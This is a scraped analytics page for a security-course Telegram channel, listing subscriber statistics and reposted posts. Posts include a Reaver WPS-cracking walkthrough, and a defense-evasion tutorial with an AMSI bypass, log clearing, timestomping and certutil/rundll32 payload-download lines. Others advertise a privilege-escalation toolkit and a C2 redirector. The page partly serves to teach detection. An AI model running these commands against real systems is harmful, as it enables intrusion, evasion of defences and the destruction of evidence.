All Security Engineering Courses
前往频道在 Telegram
This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!
显示更多📈 Telegram 频道 All Security Engineering Courses 的分析概览
频道 All Security Engineering Courses (@allsecurityengineeringcourses) 英语 语言赛道中的 是活跃参与者。目前社区聚集了 19 249 名订阅者，在 技术与应用 类别中位列第 6 647，并在 俄罗斯 地区排名第 33 952 位。
📊 受众指标与增长动态
自 невідомо 创建以来，项目保持高速增长，吸引了 19 249 名订阅者。
根据 06 十月, 2026 的最新数据，频道保持稳定运转。过去 30 天订阅人数变化为 81，过去 24 小时变化为 -3，整体触达仍然可观。
- 认证状态： 未认证
- 互动率 (ER)： 平均受众互动率为 9.22%。内容发布后 24 小时内通常能获得 2.78% 的反应，占订阅者总量。
- 帖子覆盖： 每篇帖子平均可获得 1 775 次浏览，首日通常累积 535 次浏览。
- 互动与反馈： 受众积极参与，单帖平均反应数为 9。
- 主题关注点： 内容集中在 git, strace, github, linux, docker 等核心主题上。
📝 描述与内容策略
作者将该频道定位为表达主观观点的平台：
“This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...”
凭借高频更新（最新数据采集于 07 十月, 2026），频道始终保持新鲜度与高覆盖。分析显示受众积极互动，使其成为 技术与应用 类别中的关键影响点。
19 249
订阅者
-324 小时
无数据7 天
+8130 天
数据加载中...
相似频道
标签云
进出提及
---
---
---
---
---
---
吸引订阅者
十月 '2610月 '26
十月 '26
+39
在0个频道中
九月 '26
+187
在0个频道中
Get PRO
八月 '26
+216
在0个频道中
Get PRO
七月 '26
+256
在0个频道中
Get PRO
六月 '26
+201
在0个频道中
Get PRO
五月 '26
+245
在0个频道中
Get PRO
四月 '26
+165
在0个频道中
Get PRO
三月 '26
+92
在0个频道中
Get PRO
二月 '26
+93
在1个频道中
Get PRO
一月 '26
+247
在0个频道中
Get PRO
十二月 '25
+252
在2个频道中
Get PRO
十一月 '25
+305
在1个频道中
Get PRO
十月 '25
+388
在1个频道中
Get PRO
九月 '25
+224
在0个频道中
Get PRO
八月 '25
+607
在0个频道中
Get PRO
七月 '25
+84
在0个频道中
Get PRO
六月 '25
+450
在1个频道中
Get PRO
五月 '25
+121
在0个频道中
Get PRO
四月 '25
+81
在1个频道中
Get PRO
三月 '25
+38
在0个频道中
Get PRO
二月 '25
+36
在0个频道中
Get PRO
一月 '25
+43
在1个频道中
Get PRO
十二月 '24
+139
在0个频道中
Get PRO
十一月 '24
+274
在0个频道中
Get PRO
十月 '24
+265
在0个频道中
Get PRO
九月 '24
+3 110
在0个频道中
Get PRO
八月 '24
+3 911
在0个频道中
Get PRO
七月 '24
+1 619
在0个频道中
Get PRO
六月 '24
+1 278
在1个频道中
Get PRO
五月 '24
+1 619
在1个频道中
Get PRO
四月 '24
+1 749
在0个频道中
Get PRO
三月 '24
+1 921
在1个频道中
Get PRO
二月 '24
+1 487
在1个频道中
Get PRO
一月 '24
+1 200
在0个频道中
Get PRO
十二月 '23
+846
在0个频道中
| 日期 | 订阅者增长 | 提及 | 频道 | |
| 07 十月 | +6 | |||
| 06 十月 | +6 | |||
| 05 十月 | +1 | |||
| 04 十月 | +10 | |||
| 03 十月 | +5 | |||
| 02 十月 | +6 | |||
| 01 十月 | +5 |
频道帖子
Repost from CodeGuard: PySec Edition
💻 Проблемы БД или почему большой продакшн спасут только массовые расстрелы запросов
💡 Изучаем детали:
За счёт правильных, даже необязательно новых, а просто верно выбранных архитектурных подходов можно заставить работать не один конкретный запрос, а тысячу или даже миллион. Это становится краеугольным камнем, потому что объёмы данных растут с такой скоростью, которую мы даже представить себе не могли ещё пять лет назад.
Привет, участникам CodeGuard! Именно так считает наш сегодняшний гость – Дмитрий Немчин, руководитель направления эксплуатации инфраструктуры данных в Т-банке и по совместительству член программного комитетаData Internals, профессиональной ко...
📚 Перейти к статье
😈 CodeGuard: PySec Edition | #python
| 2 | Beginning of the CodeGuard: PySec channel | 894 |
| 3 | Absolutely, Ville — here’s a clean, future‑proof summary of every step you took to get Jenkins + Docker + SonarQube + Trivy + OWASP DC working inside a single Jenkins container.
This is the kind of reference you’ll be glad you saved.
---
# 🧱 FULL SETUP SUMMARY — Jenkins CI/CD in a Single Container
Below is the complete, ordered list of what you did, why you did it, and the exact commands or UI steps involved.
---
# 🟦 1. Run Jenkins in Docker with access to host Docker
You started Jenkins with:
- Host Docker socket mounted
- Jenkins home volume
- Port 8080 exposed
This allows Jenkins to run Docker builds using the host engine.
---
# 🟦 2. Install required tools inside the Jenkins container
Inside the container:
apt-get update
apt-get install -y docker.io unzip openjdk-17-jdk nodejs npm
You now have:
- Docker CLI
- JDK 17
- NodeJS
- unzip
All available to Jenkins.
---
# 🟦 3. Install Sonar Scanner manually
Downloaded and extracted:
cd /opt
wget https://github.com/SonarSource/sonar-scanner-cli/releases/download/4.4.0.2170/sonar-scanner-cli-4.4.0.2170-linux.zip
unzip sonar-scanner-cli-4.4.0.2170-linux.zip
mv sonar-scanner-4.4.0.2170-linux sonar-scanner
Scanner path:
/opt/sonar-scanner
---
# 🟦 4. Install required Jenkins plugins
From Manage Jenkins → Plugins:
- SonarQube Scanner for Jenkins
- SonarQube
- NodeJS
- OWASP Dependency Check
- Email Extension
- Pipeline
- Docker Pipeline (optional)
---
# 🟦 5. Configure tools in Jenkins UI
### JDK
Manage Jenkins → Global Tool Configuration → JDK
- Name: jdk17
- Uncheck “Install automatically”
- JAVA_HOME:
```
/usr/lib/jvm/java-17-openjdk-amd64
```
### NodeJS
- Name: node16
- Uncheck “Install automatically”
### Sonar Scanner
- Name: sonar-scanner
- Uncheck “Install automatically”
- Installation directory:
```
/opt/sonar-scanner
```
---
# 🟦 6. Run SonarQube server on the host
You used:
docker run -d --name sonarqube \
-p 9000:9000 \
-v sonarqube_data:/opt/sonarqube/data \
-v sonarqube_logs:/opt/sonarqube/logs \
-v sonarqube_extensions:/opt/sonarqube/extensions \
sonarqube:lts-community
---
# 🟦 7. Configure SonarQube in Jenkins
Manage Jenkins → Configure System → SonarQube Servers
- Name: sonar-server
- URL: http://<host-ip>:9000
- Token: (generated in SonarQube UI)
Matches Jenkinsfile:
withSonarQubeEnv('sonar-server')
---
# 🟦 8. Add credentials in Jenkins
Path:
Manage Jenkins → Credentials → System → Global credentials → Add Credentials
You added:
- DockerHub credentials (docker-cred)
- SonarQube token (sonar-token)
---
# 🟦 9. Fix Docker permission issue inside Jenkins container
This was the big one.
### Problem:
Host Docker socket group ID = 984
Container docker group ID = 102
### Fix: recreate docker group inside container with correct GID
Inside container:
groupdel docker
groupadd -g 984 docker
usermod -aG docker jenkins
Restart container:
docker restart jenkins
Verify:
docker exec -it jenkins bash
id jenkins
docker ps
Now Docker works.
---
# 🟦 10. Run the pipeline — SUCCESS
Your Jenkinsfile worked without modification because:
- All tools were installed inside the container
- Jenkins had access to Docker
- SonarQube was reachable
- Trivy and OWASP DC were installed
- Credentials were configured
---
# 🎉 Final Result
You now have a fully functional DevSecOps pipeline running entirely inside a single Jenkins container, including:
- Git checkout
- SonarQube analysis
- Quality gate
- NPM install
- OWASP Dependency Check
- Trivy FS scan
- Docker build
- Docker push
- Trivy image scan
- Deployment
- Email notifications
This is a complete, production‑grade CI/CD pipeline. | 982 |
| 4 | MIT made its entire AI & ML library 100% FREE to access.
These 12 books are the best place to start 👇
↳ 𝗙𝗼𝘂𝗻𝗱𝗮𝘁𝗶𝗼𝗻𝘀
1. Foundations of Machine Learning
https://cs.nyu.edu/~mohri/mlbook/
The mathematical backbone of ML - algorithms, theory, and how models actually learn.
2. Understanding Deep Learning
https://udlbook.github.io/udlbook/
Neural networks explained visually and intuitively, from basics to modern architectures.
3. Deep Learning
https://www.deeplearningbook.org/
The definitive deep learning reference, written by the researchers who shaped the field.
4. Introduction to Machine Learning Systems
https://mlsysbook.ai/
How to design and build ML systems that work in production, not just in notebooks.
5. Algorithms for Optimization
https://algorithmsbook.com/optimization/
The math behind how models improve - gradient methods, search, and decision-making.
↳ 𝗥𝗲𝗶𝗻𝗳𝗼𝗿𝗰𝗲𝗺𝗲𝗻𝘁 𝗟𝗲𝗮𝗿𝗻𝗶𝗻𝗴
6. Reinforcement Learning: An Introduction
http://incompleteideas.net/book/the-book.html
The classic RL textbook - how agents learn to make decisions through trial and reward.
7. Distributional Reinforcement Learning
https://www.distributional-rl.org/
Goes beyond average rewards to model the full distribution of outcomes.
8. Multi-Agent Reinforcement Learning
https://www.marl-book.com/
How multiple AI agents learn, compete, and cooperate in shared environments.
↳ 𝗣𝗿𝗼𝗯𝗮𝗯𝗶𝗹𝗶𝘀𝘁𝗶𝗰 𝗠𝗟
9. Probabilistic Machine Learning: An Introduction
https://probml.github.io/pml-book/book1.html
ML through the lens of probability - uncertainty, inference, and Bayesian thinking.
10. Probabilistic Machine Learning: Advanced Topics
https://probml.github.io/pml-book/book2.html
Deep dives into probabilistic models, approximate inference, and generative methods.
↳ 𝗥𝗲𝘀𝗽𝗼𝗻𝘀𝗶𝗯𝗹𝗲 & 𝗔𝗴𝗲𝗻𝘁𝗶𝗰 𝗔𝗜
11. Agents in the Long Game of AI
https://direct.mit.edu/books/oa-monograph/5779/Agents-in-the-Long-Game-of-AIComputational
How to build AI agents that are trustworthy, hybrid, and designed for long-term reliability.
12. Fairness and Machine Learning
https://fairmlbook.org/
Where ML meets society - bias, discrimination, and how to build more equitable systems.
⭕️ Join for more:
@DarkWeb_VIP
https://t.me/+YyUiTGOgxFJmYTU8 | 1 042 |
| 5 |  Mosse Institute – MRT – Certified Red Teamer 2026
Pass : @Offensiv3Sec | 1 137 |
| 6 |  😈 Reaver — как я взломал Wi-Fi за 4 часа через WPS (тест безопасности!)
Думал, что WPS — это просто удобство для роутера? А на деле — огромная дыра. Reaver брутит PIN-код WPS и выдает WPA/WPA2 пароль. Многие роутеры падают за 4-10 часов.
🔍 Мой опыт: тестировал свою сеть и соседскую
(с разрешения, конечно, а ты что подумал какую соседскую.. 😉)
⚪️ Шаг 1: Готовим интерфейс
sudo airmon-ng start wlan0 # mon0 готов к охоте
sudo airmon-ng check kill # убиваем мешающие процессы
⚪️Шаг 2: Ищем жертву с WPS
sudo wash -i wlan0mon --ignore-locked
Ищем сети с WPS Locked: No — вот они, наши цели!
⚪️ Шаг 3: Лобовая атака Reaver
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -c 6 -K 1
- -vv — спамит логами, чтобы видеть прогресс
- -c 6 — фиксируем канал (из wash)
- -K 1 — stealth mode против блокировок
🔥 Мои настройки для стабильности:
--no-timeout # не сбрасывать при глюках
--dh-small # быстрее, но чуть менее надежно
--force-ns-noresp # игнорируем неответы
⏱️ Результат: TP-Link пал за 4:17. D-Link продержался 7 часов.
⚠️ Важно:
- WPS Locked = игра окончена, роутер заблокировал атаки
- Качество сигнала > -60dB, иначе тормоза
- Pixie Dust атака (pixiewps) может сократить до минут!
🛡 Защита (сразу после теста):
1. Отключи WPS в настройках роутера
2. Поменяй пароль на 20+ символов
3. Обнови прошивку (часто фиксит WPS)
📱 Посмотреть код
😈 CodeGuard: PySec Edition | Чат | 2 039 |
| 7 | SEC760.z03 | 1 |
| 8 |  ⭐️ SANS - SEC760 Advanced Exploit Development for Penetration Testers | 2 296 |
| 9 | https://www.udemy.com/course/free-learn-c-tutorial-beginners/ | 1 847 |
| 10 | ![Real-world scenario [1]: (OTP bypass via logic flaw) Start your hacking journey with us: codelivly.com Grab the best hands on](data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/2wBDASstLTw1PHZBQXb4pYyl+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj/wAARCAAWACgDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwCiOaNgpw4PNKStdHKjK7JrOyW63/Nt247Zq1/Yyf8APX/x2k0piqzFRu5Xvj1q/wCbJ/zx/wDHhWUt9C1sZU9kkDhM7uM5xiirV3lpVJGDt6fiaK1jFNakNu5klweMGkyPeiio5mVYsWl59l3hU3bsZz/n3qydXYY/dDmiipe40RvqAlfcUwQMcUUUVSbsJo//2Q==){kind=small} Real-world scenario [1]: (OTP bypass via logic flaw)
Start your hacking journey with us: codelivly.com
Grab the best hands on resources from : resources.codelivly.com | 2 823 |
| 11 | 🔥 Enterprise Network Penetration Testing — Hands-On Pentesting Book
Ready to move beyond basic Nmap scans? 🛡
Learn how real enterprise security assessments work — from internal reconnaissance & network enumeration to Active Directory attacks, lateral movement, detection & professional reporting.
📚 205+ pages
🎯 53 chapters + 40+ diagrams
💻 Hands-on labs & practical workflows
🩸 Active Directory + BloodHound + Kerberos
🔵 Detection with Wazuh, Sysmon, Zeek & Suricata
📊 Professional pentest reporting & risk assessment
Perfect for Pentesters, Red Teamers, SOC Analysts, Blue Teamers & Cybersecurity Students.
👉 Get the book: https://resources.codelivly.com/product/enterprise-network-penetration-testing/ | 2 442 |
| 12 | 🔗 Ligolo - The Art Of Internal Network Pivoting | 3 093 |
| 13 | 🗺 OSCP+ Active Directory Network Walkthrough | 4 623 |
| 14 |  🐧 Шпаргалка: 10 команд Linux, которые должен знать каждый системный администратор
Навигация, управление пользователями и сетью — база, без которой никуда. Сохраняйте.
1. Перемещение по файловой системе:
cd /home # перейти в каталог
ls -la # список файлов (включая скрытые)
pwd # текущая папка
2. Управление пользователями:
sudo adduser john # создать пользователя
sudo userdel john # удалить пользователя
passwd # сменить пароль
3. Права доступа:
chmod 755 file # rwxr-xr-x
chown user:group file # сменить владельца
4. Процессы:
ps aux | grep nginx # найти процесс
kill -9 1234 # убить процесс
htop # мониторинг в реальном времени
5. Сеть:
ping -c 4 8.8.8.8 # проверить связь
ss -tulpn # все открытые порты
curl -I example.com # посмотреть заголовки
6. Диски и память:
df -h # свободное место на дисках
du -sh /var/log # размер папки
free -h # свободная RAM
7. Логи:
tail -f /var/log/syslog # смотреть логи в реальном времени
journalctl -f -u ssh # логи службы SSH
8. Архивация:
tar -czvf backup.tar.gz /home # создать архив
tar -xzvf backup.tar.gz # распаковать
9. Поиск:
find / -name "*.conf" -mtime -7 # найти файлы за последние 7 дней
grep -r "error" /var/log/ # поиск по логам
10. Перезагрузка и выключение:
sudo reboot # перезагрузка
sudo shutdown -h now # выключение
Сохраняйте — пригодится каждый день.
😈 CodeGuard: PySec Edition | Чат | 4 559 |
| 15 |  🐧 Как поднять свой первый веб-сервер: установка LAMP на Ubuntu 26.04 (пошагово)
Хотите запустить сайт или веб-приложение? Связка LAMP (Linux, Apache, MySQL, PHP) — это классика, которая работает везде. Вот пошаговая инструкция для Ubuntu 26.04.
Шаг 1. Обновите список пакетов
sudo apt update
Шаг 2. Установите Apache
sudo apt install apache2 -y
Шаг 3. Включите автозапуск и запустите Apache
sudo systemctl enable apache2
sudo systemctl start apache2
Шаг 4. Проверьте статус
sudo systemctl status apache2
Должно быть active (running)
Шаг 5. Установите MySQL
sudo apt install mysql-server -y
Шаг 6. Включите и запустите MySQL
sudo systemctl enable mysql
sudo systemctl start mysql
Шаг 7. Защитите MySQL
sudo mysql_secure_installation — пройдите по шагам: установите пароль root, удалите анонимных пользователей, запретите удалённый доступ root.
Шаг 8. Установите PHP
sudo apt install php libapache2-mod-php php-mysql -y
Шаг 9. Проверьте PHP
Создайте тестовый файл:
echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/info.php
Откройте в браузере http://ваш_ip/info.php — увидите информацию о PHP.
📌 Совет: после проверки удалите info.php или ограничьте к нему доступ — в целях безопасности.
👩💻 CodeGuard: Linux | Чат | 3 427 |
| 16 |  Linux LPE Toolkit
Multi-architecture privilege escalation toolkit with 24 exploits (amd64 pre-built; other architectures compiled via gcc at runtime). Supports amd64, arm64, 386, mips, mipsle, mips64, and mips64le. Detects kernel version, filters patched exploits, and tries each in order until root is obtained. | 2 659 |
| 17 |  Defense Evasion: как атакующий прячется от EDR и антивируса
👋 Приветствую в мире цифровой безопасности!
Сегодня расскажу про техники Defense Evasion - как атакующий скрывает свою активность от средств защиты уже после того как закрепился в системе.
⏺Defense Evasion - это не одна техника, а целый класс. Тут задача не выполнить действие тихо один раз, а сделать так чтобы весь дальнейший процесс не триггерил алерты. Без этого закрепление в системе бесполезно: EDR увидит подозрительный процесс через час и всё оборвёт.
⏺AMSI bypass - Windows Antimalware Scan Interface проверяет PowerShell-код перед выполнением. Атакующий патчит функцию проверки прямо в памяти:
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)
После этого любой вредоносный скрипт проходит без сканирования - AMSI думает, что инициализация провалилась и просто пропускает всё дальше.
⏺Process injection - вместо запуска нового подозрительного процесса код внедряется в уже доверенный:
$proc = Get-Process -Name "explorer"
# Дальше через WriteProcessMemory и CreateRemoteThread
# внедряем shellcode в легитимный процесс
Для мониторинга - это выглядит, как обычный explorer.exe, а не как новый неизвестный бинарь - большинство базовых правил детекта смотрят именно на имя и происхождение процесса.
⏺Timestomping - меняем метки времени файла, чтобы он не выделялся среди системных:
# Linux
touch -r /bin/ls malicious_file
stat malicious_file
# Windows через PowerShell
(Get-Item file.exe).CreationTime = "01/15/2020 10:00:00"
Форензика часто ищет файлы созданные в момент инцидента - timestomping ломает эту эвристику полностью.
⏺Living off the land - используем только легитимные системные утилиты вместо своих инструментов, тогда сигнатурный детект бессилен:
# Скачивание файла через certutil вместо curl
certutil -urlcache -split -f http://10.0.0.1/payload.exe payload.exe
# Выполнение через rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://10.0.0.1/script.sct")
certutil и rundll32 подписаны Microsoft и есть на каждой Windows-машине - антивирус не может просто заблокировать их целиком.
⏺Log clearing - чистим или отключаем логирование там где были:
wevtutil cl Security
wevtutil cl System
# Linux
> /var/log/auth.log
history -c
⏺Детектируется через поведенческий анализ а не сигнатуры: аномальная работа с памятью легитимных процессов, вызов certutil с параметром urlcache, массовая очистка логов сразу после подозрительной активности, несоответствие timestamp файла и записей в MFT. Sysmon Event ID 1 (создание процесса) и 10 (доступ к памяти процесса) - основа для детекта большинства этих техник.
ZeroDay | Серверная Админа | #defenseevasion | 2 575 |
| 18 |  Cloudflare-Redirector
Domain fronting через CloudFlare с поддержкой разных #C2, нескольких доменов и вебсокета.
#evasion #работягам
Telegram ✉️ @freedomfox | 2 215 |
| 19 |  没有文字... | 2 563 |
| 20 |  🔅 Raspberry Pi Essential Training
📝 Learn the basic vocabulary of Raspberry Pi, as well as how to plug in peripherals and perform basic computing tasks. You can also gain an understanding of the GPIO and Pico boards.
🌐 Author: Mark Niemann-Ross
🔰 Level: Beginner
⏰ Duration: 2h 19m
📋 Topics: Raspberry Pi, Internet of Things
🔗 Join Linkedin Learning for more courses | 2 421 |
